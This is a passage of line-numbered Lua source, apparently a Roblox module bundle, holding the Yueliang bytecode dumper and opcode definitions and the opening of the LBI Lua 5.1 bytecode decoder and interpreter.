  4169. function luaU:header()
  4170. local x = 1
  4171. return self.LUA_SIGNATURE..
  4172. string.char(
  4173. self.LUAC_VERSION,
  4174. self.LUAC_FORMAT,
  4175. x, -- endianness (1=little)
  4176. 4, -- sizeof(int)
  4177. 4, -- sizeof(size_t)
  4178. 4, -- sizeof(Instruction)
  4179. 8, -- sizeof(lua_Number)
  4180. 0) -- is lua_Number integral?
  4181. end
  4182.  
  4183. ------------------------------------------------------------------------
  4184. -- dump Lua function as precompiled chunk
  4185. -- (lua_State* L, const Proto* f, lua_Writer w, void* data, int strip)
  4186. -- * w, data are created from make_setS, make_setF
  4187. ------------------------------------------------------------------------
  4188. function luaU:dump(L, f, w, data, strip)
  4189. local D = {} -- DumpState
  4190. D.L = L
  4191. D.write = w
  4192. D.data = data
  4193. D.strip = strip
  4194. D.status = 0
  4195. self:DumpHeader(D)
  4196. self:DumpFunction(f, nil, D)
  4197. -- added: for a chunk writer writing to a file, this final call with
  4198. -- nil data is to indicate to the writer to close the file
  4199. D.write(nil, D.data)
  4200. return D.status
  4201. end
  4202.  
  4203. return luaU
  4204. end
  4205. fake_module_scripts[script] = module_script
  4206. end
  4207. do -- nil.LuaP
  4208. local script = Instance.new('ModuleScript', nil)
  4209. script.Name = "LuaP"
  4210. local function module_script()
  4211. --[[--------------------------------------------------------------------
  4212.  
  4213. lopcodes.lua
  4214. Lua 5 virtual machine opcodes in Lua
  4215. This file is part of Yueliang.
  4216.  
  4217. Copyright (c) 2006 Kein-Hong Man <[email protected]>
  4218. The COPYRIGHT file describes the conditions
  4219. under which this software may be distributed.
  4220.  
  4221. See the ChangeLog for more information.
  4222.  
  4223. ----------------------------------------------------------------------]]
  4224.  
  4225. --[[--------------------------------------------------------------------
  4226. -- Notes:
  4227. -- * an Instruction is a table with OP, A, B, C, Bx elements; this
  4228. -- makes the code easy to follow and should allow instruction handling
  4229. -- to work with doubles and ints
  4230. -- * WARNING luaP:Instruction outputs instructions encoded in little-
  4231. -- endian form and field size and positions are hard-coded
  4232. --
  4233. -- Not implemented:
  4234. -- *
  4235. --
  4236. -- Added:
  4237. -- * luaP:CREATE_Inst(c): create an inst from a number (for OP_SETLIST)
  4238. -- * luaP:Instruction(i): convert field elements to a 4-char string
  4239. -- * luaP:DecodeInst(x): convert 4-char string into field elements
  4240. --
  4241. -- Changed in 5.1.x:
  4242. -- * POS_OP added, instruction field positions changed
  4243. -- * some symbol names may have changed, e.g. LUAI_BITSINT
  4244. -- * new operators for RK indices: BITRK, ISK(x), INDEXK(r), RKASK(x)
  4245. -- * OP_MOD, OP_LEN is new
  4246. -- * OP_TEST is now OP_TESTSET, OP_TEST is new
  4247. -- * OP_FORLOOP, OP_TFORLOOP adjusted, OP_FORPREP is new
  4248. -- * OP_TFORPREP deleted
  4249. -- * OP_SETLIST and OP_SETLISTO merged and extended
  4250. -- * OP_VARARG is new
  4251. -- * many changes to implementation of OpMode data
  4252. ----------------------------------------------------------------------]]
  4253.  
  4254. local luaP = {}
  4255.  
  4256. --[[
  4257. ===========================================================================
  4258. We assume that instructions are unsigned numbers.
  4259. All instructions have an opcode in the first 6 bits.
  4260. Instructions can have the following fields:
  4261. 'A' : 8 bits
  4262. 'B' : 9 bits
  4263. 'C' : 9 bits
  4264. 'Bx' : 18 bits ('B' and 'C' together)
  4265. 'sBx' : signed Bx
  4266.  
  4267. A signed argument is represented in excess K; that is, the number
  4268. value is the unsigned value minus K. K is exactly the maximum value
  4269. for that argument (so that -max is represented by 0, and +max is
  4270. represented by 2*max), which is half the maximum for the corresponding
  4271. unsigned argument.
  4272. ===========================================================================
  4273. --]]
  4274.  
  4275. luaP.OpMode = { iABC = 0, iABx = 1, iAsBx = 2 } -- basic instruction format
  4276.  
  4277. ------------------------------------------------------------------------
  4278. -- size and position of opcode arguments.
  4279. -- * WARNING size and position is hard-coded elsewhere in this script
  4280. ------------------------------------------------------------------------
  4281. luaP.SIZE_C = 9
  4282. luaP.SIZE_B = 9
  4283. luaP.SIZE_Bx = luaP.SIZE_C + luaP.SIZE_B
  4284. luaP.SIZE_A = 8
  4285.  
  4286. luaP.SIZE_OP = 6
  4287.  
  4288. luaP.POS_OP = 0
  4289. luaP.POS_A = luaP.POS_OP + luaP.SIZE_OP
  4290. luaP.POS_C = luaP.POS_A + luaP.SIZE_A
  4291. luaP.POS_B = luaP.POS_C + luaP.SIZE_C
  4292. luaP.POS_Bx = luaP.POS_C
  4293.  
  4294. ------------------------------------------------------------------------
  4295. -- limits for opcode arguments.
  4296. -- we use (signed) int to manipulate most arguments,
  4297. -- so they must fit in LUAI_BITSINT-1 bits (-1 for sign)
  4298. ------------------------------------------------------------------------
  4299. -- removed "#if SIZE_Bx < BITS_INT-1" test, assume this script is
  4300. -- running on a Lua VM with double or int as LUA_NUMBER
  4301.  
  4302. luaP.MAXARG_Bx = math.ldexp(1, luaP.SIZE_Bx) - 1
  4303. luaP.MAXARG_sBx = math.floor(luaP.MAXARG_Bx / 2) -- 'sBx' is signed
  4304.  
  4305. luaP.MAXARG_A = math.ldexp(1, luaP.SIZE_A) - 1
  4306. luaP.MAXARG_B = math.ldexp(1, luaP.SIZE_B) - 1
  4307. luaP.MAXARG_C = math.ldexp(1, luaP.SIZE_C) - 1
  4308.  
  4309. -- creates a mask with 'n' 1 bits at position 'p'
  4310. -- MASK1(n,p) deleted, not required
  4311. -- creates a mask with 'n' 0 bits at position 'p'
  4312. -- MASK0(n,p) deleted, not required
  4313.  
  4314. --[[--------------------------------------------------------------------
  4315. Visual representation for reference:
  4316.  
  4317. 31 | | | 0 bit position
  4318. +-----+-----+-----+----------+
  4319. | B | C | A | Opcode | iABC format
  4320. +-----+-----+-----+----------+
  4321. - 9 - 9 - 8 - 6 - field sizes
  4322. +-----+-----+-----+----------+
  4323. | [s]Bx | A | Opcode | iABx | iAsBx format
  4324. +-----+-----+-----+----------+
  4325.  
  4326. ----------------------------------------------------------------------]]
  4327.  
  4328. ------------------------------------------------------------------------
  4329. -- the following macros help to manipulate instructions
  4330. -- * changed to a table object representation, very clean compared to
  4331. -- the [nightmare] alternatives of using a number or a string
  4332. -- * Bx is a separate element from B and C, since there is never a need
  4333. -- to split Bx in the parser or code generator
  4334. ------------------------------------------------------------------------
  4335.  
  4336. -- these accept or return opcodes in the form of string names
  4337. function luaP:GET_OPCODE(i) return self.ROpCode[i.OP] end
  4338. function luaP:SET_OPCODE(i, o) i.OP = self.OpCode[o] end
  4339.  
  4340. function luaP:GETARG_A(i) return i.A end
  4341. function luaP:SETARG_A(i, u) i.A = u end
  4342.  
  4343. function luaP:GETARG_B(i) return i.B end
  4344. function luaP:SETARG_B(i, b) i.B = b end
  4345.  
  4346. function luaP:GETARG_C(i) return i.C end
  4347. function luaP:SETARG_C(i, b) i.C = b end
  4348.  
  4349. function luaP:GETARG_Bx(i) return i.Bx end
  4350. function luaP:SETARG_Bx(i, b) i.Bx = b end
  4351.  
  4352. function luaP:GETARG_sBx(i) return i.Bx - self.MAXARG_sBx end
  4353. function luaP:SETARG_sBx(i, b) i.Bx = b + self.MAXARG_sBx end
  4354.  
  4355. function luaP:CREATE_ABC(o,a,b,c)
  4356. return {OP = self.OpCode[o], A = a, B = b, C = c}
  4357. end
  4358.  
  4359. function luaP:CREATE_ABx(o,a,bc)
  4360. return {OP = self.OpCode[o], A = a, Bx = bc}
  4361. end
  4362.  
  4363. ------------------------------------------------------------------------
  4364. -- create an instruction from a number (for OP_SETLIST)
  4365. ------------------------------------------------------------------------
  4366. function luaP:CREATE_Inst(c)
  4367. local o = c % 64
  4368. c = (c - o) / 64
  4369. local a = c % 256
  4370. c = (c - a) / 256
  4371. return self:CREATE_ABx(o, a, c)
  4372. end
  4373.  
  4374. ------------------------------------------------------------------------
  4375. -- returns a 4-char string little-endian encoded form of an instruction
  4376. ------------------------------------------------------------------------
  4377. function luaP:Instruction(i)
  4378. if i.Bx then
  4379. -- change to OP/A/B/C format
  4380. i.C = i.Bx % 512
  4381. i.B = (i.Bx - i.C) / 512
  4382. end
  4383. local I = i.A * 64 + i.OP
  4384. local c0 = I % 256
  4385. I = i.C * 64 + (I - c0) / 256 -- 6 bits of A left
  4386. local c1 = I % 256
  4387. I = i.B * 128 + (I - c1) / 256 -- 7 bits of C left
  4388. local c2 = I % 256
  4389. local c3 = (I - c2) / 256
  4390. return string.char(c0, c1, c2, c3)
  4391. end
  4392.  
  4393. ------------------------------------------------------------------------
  4394. -- decodes a 4-char little-endian string into an instruction struct
  4395. ------------------------------------------------------------------------
  4396. function luaP:DecodeInst(x)
  4397. local byte = string.byte
  4398. local i = {}
  4399. local I = byte(x, 1)
  4400. local op = I % 64
  4401. i.OP = op
  4402. I = byte(x, 2) * 4 + (I - op) / 64 -- 2 bits of c0 left
  4403. local a = I % 256
  4404. i.A = a
  4405. I = byte(x, 3) * 4 + (I - a) / 256 -- 2 bits of c1 left
  4406. local c = I % 512
  4407. i.C = c
  4408. i.B = byte(x, 4) * 2 + (I - c) / 512 -- 1 bits of c2 left
  4409. local opmode = self.OpMode[tonumber(string.sub(self.opmodes[op + 1], 7, 7))]
  4410. if opmode ~= "iABC" then
  4411. i.Bx = i.B * 512 + i.C
  4412. end
  4413. return i
  4414. end
  4415.  
  4416. ------------------------------------------------------------------------
  4417. -- Macros to operate RK indices
  4418. -- * these use arithmetic instead of bit ops
  4419. ------------------------------------------------------------------------
  4420.  
  4421. -- this bit 1 means constant (0 means register)
  4422. luaP.BITRK = math.ldexp(1, luaP.SIZE_B - 1)
  4423.  
  4424. -- test whether value is a constant
  4425. function luaP:ISK(x) return x >= self.BITRK end
  4426.  
  4427. -- gets the index of the constant
  4428. function luaP:INDEXK(x) return x - self.BITRK end
  4429.  
  4430. luaP.MAXINDEXRK = luaP.BITRK - 1
  4431.  
  4432. -- code a constant index as a RK value
  4433. function luaP:RKASK(x) return x + self.BITRK end
  4434.  
  4435. ------------------------------------------------------------------------
  4436. -- invalid register that fits in 8 bits
  4437. ------------------------------------------------------------------------
  4438. luaP.NO_REG = luaP.MAXARG_A
  4439.  
  4440. ------------------------------------------------------------------------
  4441. -- R(x) - register
  4442. -- Kst(x) - constant (in constant table)
  4443. -- RK(x) == if ISK(x) then Kst(INDEXK(x)) else R(x)
  4444. ------------------------------------------------------------------------
  4445.  
  4446. ------------------------------------------------------------------------
  4447. -- grep "ORDER OP" if you change these enums
  4448. ------------------------------------------------------------------------
  4449.  
  4450. --[[--------------------------------------------------------------------
  4451. Lua virtual machine opcodes (enum OpCode):
  4452. ------------------------------------------------------------------------
  4453. name args description
  4454. ------------------------------------------------------------------------
  4455. OP_MOVE A B R(A) := R(B)
  4456. OP_LOADK A Bx R(A) := Kst(Bx)
  4457. OP_LOADBOOL A B C R(A) := (Bool)B; if (C) pc++
  4458. OP_LOADNIL A B R(A) := ... := R(B) := nil
  4459. OP_GETUPVAL A B R(A) := UpValue[B]
  4460. OP_GETGLOBAL A Bx R(A) := Gbl[Kst(Bx)]
  4461. OP_GETTABLE A B C R(A) := R(B)[RK(C)]
  4462. OP_SETGLOBAL A Bx Gbl[Kst(Bx)] := R(A)
  4463. OP_SETUPVAL A B UpValue[B] := R(A)
  4464. OP_SETTABLE A B C R(A)[RK(B)] := RK(C)
  4465. OP_NEWTABLE A B C R(A) := {} (size = B,C)
  4466. OP_SELF A B C R(A+1) := R(B); R(A) := R(B)[RK(C)]
  4467. OP_ADD A B C R(A) := RK(B) + RK(C)
  4468. OP_SUB A B C R(A) := RK(B) - RK(C)
  4469. OP_MUL A B C R(A) := RK(B) * RK(C)
  4470. OP_DIV A B C R(A) := RK(B) / RK(C)
  4471. OP_MOD A B C R(A) := RK(B) % RK(C)
  4472. OP_POW A B C R(A) := RK(B) ^ RK(C)
  4473. OP_UNM A B R(A) := -R(B)
  4474. OP_NOT A B R(A) := not R(B)
  4475. OP_LEN A B R(A) := length of R(B)
  4476. OP_CONCAT A B C R(A) := R(B).. ... ..R(C)
  4477. OP_JMP sBx pc+=sBx
  4478. OP_EQ A B C if ((RK(B) == RK(C)) ~= A) then pc++
  4479. OP_LT A B C if ((RK(B) < RK(C)) ~= A) then pc++
  4480. OP_LE A B C if ((RK(B) <= RK(C)) ~= A) then pc++
  4481. OP_TEST A C if not (R(A) <=> C) then pc++
  4482. OP_TESTSET A B C if (R(B) <=> C) then R(A) := R(B) else pc++
  4483. OP_CALL A B C R(A), ... ,R(A+C-2) := R(A)(R(A+1), ... ,R(A+B-1))
  4484. OP_TAILCALL A B C return R(A)(R(A+1), ... ,R(A+B-1))
  4485. OP_RETURN A B return R(A), ... ,R(A+B-2) (see note)
  4486. OP_FORLOOP A sBx R(A)+=R(A+2);
  4487. if R(A) <?= R(A+1) then { pc+=sBx; R(A+3)=R(A) }
  4488. OP_FORPREP A sBx R(A)-=R(A+2); pc+=sBx
  4489. OP_TFORLOOP A C R(A+3), ... ,R(A+2+C) := R(A)(R(A+1), R(A+2));
  4490. if R(A+3) ~= nil then R(A+2)=R(A+3) else pc++
  4491. OP_SETLIST A B C R(A)[(C-1)*FPF+i] := R(A+i), 1 <= i <= B
  4492. OP_CLOSE A close all variables in the stack up to (>=) R(A)
  4493. OP_CLOSURE A Bx R(A) := closure(KPROTO[Bx], R(A), ... ,R(A+n))
  4494. OP_VARARG A B R(A), R(A+1), ..., R(A+B-1) = vararg
  4495. ----------------------------------------------------------------------]]
  4496.  
  4497. luaP.opnames = {} -- opcode names
  4498. luaP.OpCode = {} -- lookup name -> number
  4499. luaP.ROpCode = {} -- lookup number -> name
  4500.  
  4501. ------------------------------------------------------------------------
  4502. -- ORDER OP
  4503. ------------------------------------------------------------------------
  4504. local i = 0
  4505. for v in string.gmatch([[
  4506. MOVE LOADK LOADBOOL LOADNIL GETUPVAL
  4507. GETGLOBAL GETTABLE SETGLOBAL SETUPVAL SETTABLE
  4508. NEWTABLE SELF ADD SUB MUL
  4509. DIV MOD POW UNM NOT
  4510. LEN CONCAT JMP EQ LT
  4511. LE TEST TESTSET CALL TAILCALL
  4512. RETURN FORLOOP FORPREP TFORLOOP SETLIST
  4513. CLOSE CLOSURE VARARG
  4514. ]], "%S+") do
  4515. local n = "OP_"..v
  4516. luaP.opnames[i] = v
  4517. luaP.OpCode[n] = i
  4518. luaP.ROpCode[i] = n
  4519. i = i + 1
  4520. end
  4521. luaP.NUM_OPCODES = i
  4522.  
  4523. --[[
  4524. ===========================================================================
  4525. Notes:
  4526. (*) In OP_CALL, if (B == 0) then B = top. C is the number of returns - 1,
  4527. and can be 0: OP_CALL then sets 'top' to last_result+1, so
  4528. next open instruction (OP_CALL, OP_RETURN, OP_SETLIST) may use 'top'.
  4529. (*) In OP_VARARG, if (B == 0) then use actual number of varargs and
  4530. set top (like in OP_CALL with C == 0).
  4531. (*) In OP_RETURN, if (B == 0) then return up to 'top'
  4532. (*) In OP_SETLIST, if (B == 0) then B = 'top';
  4533. if (C == 0) then next 'instruction' is real C
  4534. (*) For comparisons, A specifies what condition the test should accept
  4535. (true or false).
  4536. (*) All 'skips' (pc++) assume that next instruction is a jump
  4537. ===========================================================================
  4538. --]]
  4539.  
  4540. --[[--------------------------------------------------------------------
  4541. masks for instruction properties. The format is:
  4542. bits 0-1: op mode
  4543. bits 2-3: C arg mode
  4544. bits 4-5: B arg mode
  4545. bit 6: instruction set register A
  4546. bit 7: operator is a test
  4547.  
  4548. for OpArgMask:
  4549. OpArgN - argument is not used
  4550. OpArgU - argument is used
  4551. OpArgR - argument is a register or a jump offset
  4552. OpArgK - argument is a constant or register/constant
  4553. ----------------------------------------------------------------------]]
  4554.  
  4555. -- was enum OpArgMask
  4556. luaP.OpArgMask = { OpArgN = 0, OpArgU = 1, OpArgR = 2, OpArgK = 3 }
  4557.  
  4558. ------------------------------------------------------------------------
  4559. -- e.g. to compare with symbols, luaP:getOpMode(...) == luaP.OpCode.iABC
  4560. -- * accepts opcode parameter as strings, e.g. "OP_MOVE"
  4561. ------------------------------------------------------------------------
  4562.  
  4563. function luaP:getOpMode(m)
  4564. return self.opmodes[self.OpCode[m]] % 4
  4565. end
  4566.  
  4567. function luaP:getBMode(m)
  4568. return math.floor(self.opmodes[self.OpCode[m]] / 16) % 4
  4569. end
  4570.  
  4571. function luaP:getCMode(m)
  4572. return math.floor(self.opmodes[self.OpCode[m]] / 4) % 4
  4573. end
  4574.  
  4575. function luaP:testAMode(m)
  4576. return math.floor(self.opmodes[self.OpCode[m]] / 64) % 2
  4577. end
  4578.  
  4579. function luaP:testTMode(m)
  4580. return math.floor(self.opmodes[self.OpCode[m]] / 128)
  4581. end
  4582.  
  4583. -- luaP_opnames[] is set above, as the luaP.opnames table
  4584.  
  4585. -- number of list items to accumulate before a SETLIST instruction
  4586. luaP.LFIELDS_PER_FLUSH = 50
  4587.  
  4588. ------------------------------------------------------------------------
  4589. -- build instruction properties array
  4590. -- * deliberately coded to look like the C equivalent
  4591. ------------------------------------------------------------------------
  4592. local function opmode(t, a, b, c, m)
  4593. local luaP = luaP
  4594. return t * 128 + a * 64 +
  4595. luaP.OpArgMask[b] * 16 + luaP.OpArgMask[c] * 4 + luaP.OpMode[m]
  4596. end
  4597.  
  4598. -- ORDER OP
  4599. luaP.opmodes = {
  4600. -- T A B C mode opcode
  4601. opmode(0, 1, "OpArgK", "OpArgN", "iABx"), -- OP_LOADK
  4602. opmode(0, 1, "OpArgU", "OpArgU", "iABC"), -- OP_LOADBOOL
  4603. opmode(0, 1, "OpArgR", "OpArgN", "iABC"), -- OP_LOADNIL
  4604. opmode(0, 1, "OpArgU", "OpArgN", "iABC"), -- OP_GETUPVAL
  4605. opmode(0, 1, "OpArgK", "OpArgN", "iABx"), -- OP_GETGLOBAL
  4606. opmode(0, 1, "OpArgR", "OpArgK", "iABC"), -- OP_GETTABLE
  4607. opmode(0, 0, "OpArgK", "OpArgN", "iABx"), -- OP_SETGLOBAL
  4608. opmode(0, 0, "OpArgU", "OpArgN", "iABC"), -- OP_SETUPVAL
  4609. opmode(0, 0, "OpArgK", "OpArgK", "iABC"), -- OP_SETTABLE
  4610. opmode(0, 1, "OpArgU", "OpArgU", "iABC"), -- OP_NEWTABLE
  4611. opmode(0, 1, "OpArgR", "OpArgK", "iABC"), -- OP_SELF
  4612. opmode(0, 1, "OpArgK", "OpArgK", "iABC"), -- OP_ADD
  4613. opmode(0, 1, "OpArgK", "OpArgK", "iABC"), -- OP_SUB
  4614. opmode(0, 1, "OpArgK", "OpArgK", "iABC"), -- OP_MUL
  4615. opmode(0, 1, "OpArgK", "OpArgK", "iABC"), -- OP_DIV
  4616. opmode(0, 1, "OpArgK", "OpArgK", "iABC"), -- OP_MOD
  4617. opmode(0, 1, "OpArgK", "OpArgK", "iABC"), -- OP_POW
  4618. opmode(0, 1, "OpArgR", "OpArgN", "iABC"), -- OP_UNM
  4619. opmode(0, 1, "OpArgR", "OpArgN", "iABC"), -- OP_NOT
  4620. opmode(0, 1, "OpArgR", "OpArgN", "iABC"), -- OP_LEN
  4621. opmode(0, 1, "OpArgR", "OpArgR", "iABC"), -- OP_CONCAT
  4622. opmode(0, 0, "OpArgR", "OpArgN", "iAsBx"), -- OP_JMP
  4623. opmode(1, 0, "OpArgK", "OpArgK", "iABC"), -- OP_EQ
  4624. opmode(1, 0, "OpArgK", "OpArgK", "iABC"), -- OP_LT
  4625. opmode(1, 0, "OpArgK", "OpArgK", "iABC"), -- OP_LE
  4626. opmode(1, 1, "OpArgR", "OpArgU", "iABC"), -- OP_TEST
  4627. opmode(1, 1, "OpArgR", "OpArgU", "iABC"), -- OP_TESTSET
  4628. opmode(0, 1, "OpArgU", "OpArgU", "iABC"), -- OP_CALL
  4629. opmode(0, 1, "OpArgU", "OpArgU", "iABC"), -- OP_TAILCALL
  4630. opmode(0, 0, "OpArgU", "OpArgN", "iABC"), -- OP_RETURN
  4631. opmode(0, 1, "OpArgR", "OpArgN", "iAsBx"), -- OP_FORLOOP
  4632. opmode(0, 1, "OpArgR", "OpArgN", "iAsBx"), -- OP_FORPREP
  4633. opmode(1, 0, "OpArgN", "OpArgU", "iABC"), -- OP_TFORLOOP
  4634. opmode(0, 0, "OpArgU", "OpArgU", "iABC"), -- OP_SETLIST
  4635. opmode(0, 0, "OpArgN", "OpArgN", "iABC"), -- OP_CLOSE
  4636. opmode(0, 1, "OpArgU", "OpArgN", "iABx"), -- OP_CLOSURE
  4637. opmode(0, 1, "OpArgU", "OpArgN", "iABC"), -- OP_VARARG
  4638. }
  4639. -- an awkward way to set a zero-indexed table...
  4640. luaP.opmodes[0] =
  4641. opmode(0, 1, "OpArgR", "OpArgN", "iABC") -- OP_MOVE
  4642.  
  4643. return luaP
  4644. end
  4645. fake_module_scripts[script] = module_script
  4646. end
  4647. do -- nil.LBI
  4648. local script = Instance.new('ModuleScript', nil)
  4649. script.Name = "LBI"
  4650. local function module_script()
  4651. local advanced_debug
  4652.  
  4653. local lua_opcode_types = {
  4654. "ABC", "ABx", "ABC", "ABC",
  4655. "ABC", "ABx", "ABC", "ABx",
  4656. "ABC", "ABC", "ABC", "ABC",
  4657. "ABC", "ABC", "ABC", "ABC",
  4658. "ABC", "ABC", "ABC", "ABC",
  4659. "ABC", "ABC", "AsBx", "ABC",
  4660. "ABC", "ABC", "ABC", "ABC",
  4661. "ABC", "ABC", "ABC", "AsBx",
  4662. "AsBx", "ABC", "ABC", "ABC",
  4663. "ABx", "ABC",
  4664. }
  4665.  
  4666. local lua_opcode_names = {
  4667. "MOVE", "LOADK", "LOADBOOL", "LOADNIL",
  4668. "GETUPVAL", "GETGLOBAL", "GETTABLE", "SETGLOBAL",
  4669. "SETUPVAL", "SETTABLE", "NEWTABLE", "SELF",
  4670. "ADD", "SUB", "MUL", "DIV",
  4671. "MOD", "POW", "UNM", "NOT",
  4672. "LEN", "CONCAT", "JMP", "EQ",
  4673. "LT", "LE", "TEST", "TESTSET",
  4674. "CALL", "TAILCALL", "RETURN", "FORLOOP",
  4675. "FORPREP", "TFORLOOP", "SETLIST", "CLOSE",
  4676. "CLOSURE", "VARARG"
  4677. };
  4678.  
  4679. --[[
  4680. local lua_opcode_numbers = {};
  4681. for number, name in next, lua_opcode_names do
  4682. lua_opcode_numbers[name] = number;
  4683. end
  4684. --]]
  4685.  
  4686. --- Extract bits from an integer
  4687. --@author: Stravant
  4688. local function get_bits(input, n, n2)
  4689. if n2 then
  4690. local total = 0
  4691. local digitn = 0
  4692. for i = n, n2 do
  4693. total = total + 2^digitn*get_bits(input, i)
  4694. digitn = digitn + 1
  4695. end
  4696. return total
  4697. else
  4698. local pn = 2^(n-1)
  4699. return (input % (pn + pn) >= pn) and 1 or 0
  4700. end
  4701. end
  4702.  
  4703. local function decode_bytecode(bytecode)
  4704. local index = 1
  4705. local big_endian = false
  4706. local int_size;
  4707. local size_t;
  4708.  
  4709. -- Actual binary decoding functions. Dependant on the bytecode.
  4710. local get_int, get_size_t;
  4711.  
  4712. -- Binary decoding helper functions
  4713. local get_int8, get_int32, get_int64, get_float64, get_string;
  4714. do
  4715. function get_int8()
  4716. local a = bytecode:byte(index, index);
  4717. index = index + 1
  4718. return a
  4719. end
  4720. function get_int32()
  4721. local a, b, c, d = bytecode:byte(index, index + 3);
  4722. index = index + 4;
  4723. return d*16777216 + c*65536 + b*256 + a
  4724. end
  4725. function get_int64()
  4726. local a = get_int32();
  4727. local b = get_int32();
  4728. return b*4294967296 + a;
  4729. end
  4730. function get_float64()
  4731. local a = get_int32()
  4732. local b = get_int32()
  4733. return (-2*get_bits(b, 32)+1)*(2^(get_bits(b, 21, 31)-1023))*
  4734. ((get_bits(b, 1, 20)*(2^32) + a)/(2^52)+1)
  4735. end
  4736. function get_string(len)
  4737. local str;
  4738. if len then
  4739. str = bytecode:sub(index, index + len - 1);
  4740. index = index + len;
  4741. else
  4742. len = get_size_t();
  4743. if len == 0 then return; end
  4744. str = bytecode:sub(index, index + len - 1);
  4745. index = index + len;
  4746. end
  4747. return str;
  4748. end
  4749. end
  4750.  
  4751. local function decode_chunk()
  4752. local chunk;
  4753. local instructions = {};
  4754. local constants = {};
  4755. local prototypes = {};
  4756. local debug = {
  4757. lines = {};
  4758. };
  4759.  
  4760. chunk = {
  4761. instructions = instructions;
  4762. constants = constants;
  4763. prototypes = prototypes;
  4764. debug = debug;
  4765. };
  4766.  
  4767. local num;
  4768.  
  4769. chunk.name = get_string();-- Function name
  4770. chunk.first_line = get_int(); -- First line
  4771. chunk.last_line = get_int(); -- Last line
  4772.  
  4773. if chunk.name then chunk.name = chunk.name:sub(1, -2); end
  4774.  
  4775. chunk.upvalues = get_int8();
  4776. chunk.arguments = get_int8();
  4777. chunk.varg = get_int8();
  4778. chunk.stack = get_int8();
  4779.  
  4780. -- TODO: realign lists to 1
  4781. -- Decode instructions
  4782. do
  4783. num = get_int();
  4784. for i = 1, num do
  4785. local instruction = {
  4786. -- opcode = opcode number;
  4787. -- type = [ABC, ABx, AsBx]
  4788. -- A, B, C, Bx, or sBx depending on type
  4789. };
  4790.  
  4791. local data = get_int32();
  4792. local opcode = get_bits(data, 1, 6);
  4793. local type = lua_opcode_types[opcode + 1];
  4794.  
  4795. instruction.opcode = opcode;
  4796. instruction.type = type;
  4797.  
  4798. instruction.A = get_bits(data, 7, 14);
  4799. if type == "ABC" then
  4800. instruction.B = get_bits(data, 24, 32);
  4801. instruction.C = get_bits(data, 15, 23);
  4802. elseif type == "ABx" then
  4803. instruction.Bx = get_bits(data, 15, 32);
  4804. elseif type == "AsBx" then
  4805. instruction.sBx = get_bits(data, 15, 32) - 131071;
  4806. end
  4807.  
  4808. instructions[i] = instruction;
  4809. end
  4810. end
  4811.  
  4812. -- Decode constants
  4813. do
  4814. num = get_int();
  4815. for i = 1, num do
  4816. local constant = {
  4817. -- type = constant type;
  4818. -- data = constant data;
  4819. };
  4820. local type = get_int8();
  4821. constant.type = type;
  4822.  
  4823. if type == 1 then
  4824. constant.data = (get_int8() ~= 0);
  4825. elseif type == 3 then
  4826. constant.data = get_float64();
  4827. elseif type == 4 then
  4828. constant.data = get_string():sub(1, -2);
  4829. end
  4830.  
  4831. constants[i-1] = constant;
  4832. end
  4833. end
  4834.  
  4835. -- Decode Prototypes
  4836. do
  4837. num = get_int();
  4838. for i = 1, num do
  4839. prototypes[i-1] = decode_chunk();
  4840. end
  4841. end
  4842.  
  4843. -- Decode debug info
  4844. -- Not all of which is used yet.
  4845. do
  4846. -- line numbers
  4847. local data = debug.lines
  4848. num = get_int();
  4849. for i = 1, num do
  4850. data[i] = get_int32();
  4851. end
  4852.  
  4853. -- locals
  4854. num = get_int();
  4855. for i = 1, num do
  4856. get_string():sub(1, -2); -- local name
  4857. get_int32(); -- local start PC
  4858. get_int32(); -- local end PC
  4859. end
  4860.  
  4861. -- upvalues
  4862. num = get_int();
  4863. for i = 1, num do
  4864. get_string(); -- upvalue name
  4865. end
  4866. end
  4867.  
  4868. return chunk;
  4869. end
  4870.  
  4871. -- Verify bytecode header
  4872. do
  4873. assert(get_string(4) == "\27Lua", "Lua bytecode expected.");
  4874. assert(get_int8() == 0x51, "Only Lua 5.1 is supported.");
  4875. get_int8(); -- Oficial bytecode
  4876. big_endian = (get_int8() == 0);
  4877. int_size = get_int8();
  4878. size_t = get_int8();
  4879.  
  4880. if int_size == 4 then
  4881. get_int = get_int32;
  4882. elseif int_size == 8 then
  4883. get_int = get_int64;
  4884. else
  4885. -- TODO: refactor errors into table
  4886. error("Unsupported bytecode target platform");
  4887. end
  4888.  
  4889. if size_t == 4 then
  4890. get_size_t = get_int32;
  4891. elseif size_t == 8 then
  4892. get_size_t = get_int64;
  4893. else
  4894. error("Unsupported bytecode target platform");
  4895. end
  4896.  
  4897. assert(get_string(3) == "\4\8\0",
  4898. "Unsupported bytecode target platform");
  4899. end
  4900.  
  4901. return decode_chunk();
  4902. end
  4903.  
  4904. local function handle_return(...)
  4905. local c = select("#", ...)
  4906. local t = {...}
  4907. return c, t
  4908. end
  4909.  
  4910. local function create_wrapper(cache, upvalues)
  4911. local instructions = cache.instructions;
  4912. local constants = cache.constants;
  4913. local prototypes = cache.prototypes;
  4914.  
  4915. local stack, top
  4916. local environment
  4917. local IP = 1; -- instruction pointer
  4918. local vararg, vararg_size
  4919.  
  4920. local opcode_funcs = {
  4921. [0] = function(instruction) -- MOVE
  4922. stack[instruction.A] = stack[instruction.B];
  4923. end,
  4924. [1] = function(instruction) -- LOADK
  4925. stack[instruction.A] = constants[instruction.Bx].data;
  4926. end,
  4927. [2] = function(instruction) -- LOADBOOL
  4928. stack[instruction.A] = instruction.B ~= 0
  4929. if instruction.C ~= 0 then
  4930. IP = IP + 1
  4931. end
  4932. end,
  4933. [3] = function(instruction) -- LOADNIL
  4934. local stack = stack
  4935. for i = instruction.A, instruction.B do
  4936. stack[i] = nil
  4937. end
  4938. end,
  4939. [4] = function(instruction) -- GETUPVAL
  4940. stack[instruction.A] = upvalues[instruction.B]
  4941. end,
  4942. [5] = function(instruction) -- GETGLOBAL
  4943. local key = constants[instruction.Bx].data;
  4944. stack[instruction.A] = environment[key];
  4945. end,
  4946. [6] = function(instruction) -- GETTABLE
  4947. local C = instruction.C
  4948. local stack = stack
  4949. C = C > 255 and constants[C-256].data or stack[C]
  4950. stack[instruction.A] = stack[instruction.B][C];
  4951. end,
  4952. [7] = function(instruction) -- SETGLOBAL
  4953. local key = constants[instruction.Bx].data;
  4954. environment[key] = stack[instruction.A];
  4955. end,
  4956. [8] = function (instruction) -- SETUPVAL
  4957. upvalues[instruction.B] = stack[instruction.A]
  4958. end,
  4959. [9] = function (instruction) -- SETTABLE
  4960. local B = instruction.B;
  4961. local C = instruction.C;
  4962. local stack, constants = stack, constants;
  4963.  
  4964. B = B > 255 and constants[B-256].data or stack[B];
